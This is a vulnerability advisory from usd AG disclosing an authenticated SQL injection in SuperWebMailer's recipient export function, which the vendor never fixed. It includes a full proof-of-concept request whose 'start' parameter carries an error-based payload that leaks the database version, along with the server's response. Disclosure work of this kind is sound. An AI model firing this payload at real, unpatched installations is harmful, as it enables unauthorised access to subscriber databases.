usd-2023-0014 | SQL Injection in SuperWebMailer
Advisory ID: usd-2023-0014
Product: SuperWebMailer
Affected Version: 9.00.0.01710
Vulnerability Type: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Security Risk: HIGH
Vendor URL: https://www.superwebmailer.de
Vendor acknowledged vulnerability: No
Vendor Status: Not fixed
CVE number: CVE-2023-38190
CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2023-38190
Desciption
SuperWebMailer is an online application for managing e-mail newsletters.
An authenticated SQL injection vulnerability was discovered during an engagement.
In an SQL injection attack, a malicious input is used to alter the queries the application sends to an SQL server.
The application contains an export functionality that is vulnerable to an SQL injection attack.
This functionality uses a size parameter provided by the user inside an SQL query without any encoding or filtering being applied.
Consequently, an attacker may alter the SQL query in unintended ways.
Proof of Concept
The following request contains an SQL injection payload that displays the database version:
POST /exportrecipients.php HTTP/2Host: swm.example.comCookie: PHPSESSID=8ko13lk184llt0rqop2pikbf55; smlswmCsrfToken=20YyMEiUeMAYAEA22yeme6EAYEeIM2UqiqIMiEUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 393smlswmCsrfToken=20YyMEiUeMAYAEA22yeme6EAYEeIM2UqiqIMiE&OneMailingListId=1&MailingListName=Test+Empf%C3%A4ngerliste&step=4&Separator=%2C&Header1Line=1&AddQuotes=1&ExportLines=200&OnlyActiveRecipients=&GroupsOption=1&groups=&fields%5Bu_EMail%5D=1&fields%5Bu_FirstName%5D=1&fields%5Bu_LastName%5D=1&start=1,1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1)%3b%23&ExportRowCount=5
The database version is printed in the response as part of an error message:
HTTP/2 200 OKServer: openrestyDate: Sun, 25 Sep 2022 16:48:39 GMTContent-Type: text/html; charset=utf-8Content-Length: 16149Expires: Mon, 26 Jul 1997 05:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, max-age=0Last-Modified: Sun, 25 Sep 2022 16:48:39 GMTPragma: no-cacheX-Frame-Options: SAMEORIGINCache-Control: post-check=0, pre-check=0Vary: Accept-EncodingX-Served-By: swm.example.com[...] <td colspan="2"><b>SQL-Fehler:</b> XPATH syntax error: ':10.5.15-MariaDB-0+deb11u1' 1105<br /><br /> <b>SQL-Anweisung:</b> SELECT DISTINCT u_EMail, u_FirstName, u_LastName, **testempfngerliste_members**.**id** FROM **testempfngerliste_members** ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);#, 200<br /><br /></td>[...]</body></html>
Fix
SQL injection vulnerabilities can be prevented by using prepared statements with parameterized queries. Additionally, all input to the application should be treated as potentially dangerous and consequently validated on the server-side.
References
https://cwe.mitre.org/data/definitions/89.html
https://owasp.org/www-community/attacks/SQL_Injection
Timeline
- 2022-09-26: This vulnerability was discovered by Florian Dewald and Gerbert Roitburd of usd AG.
- 2023-04-20: First contact request via info@superwebmailer.de.
- 2023-05-08: Reminder sent via info@superwebmailer.de and contact form.
- 2023-05-15: Second reminder to webmaster@wt-rate.com and info@superwebmailer.de.
- 2023-05-25: Another reminder sent to info@superwebmailer.de, webmaster@wt-rate.com and info@wt-rate.com
- 2023-06-05: Once more tried to inform the company of the vulnerabilities via the feedback form (info@superwebmailer.de).
- 2023-07-17: Sent another email to info@supermailer.de, webmaster@wt-rate.com, info@wt-rate.com and info@superwebmailer.de, stressing that CVEs are assigned to the vulnerabilities and disclosure may happen in case we do not receive an answer soon.
- 2023-08-17: As the vulnerabilities were found during a pentest, the customer was asked whether or not the Responsible Disclosure Team should move forward without the software vendor's cooperation.
- 2023-10-02: Final notice given to info@superwebmailer, warning of immenent disclosure should there be no response within a week.
- 2023-10-20: Vulnerabilities disclosed by usd AG.
Credits
This security vulnerability was identified by Florian Dewald and Gerbert Roitburd of usd AG.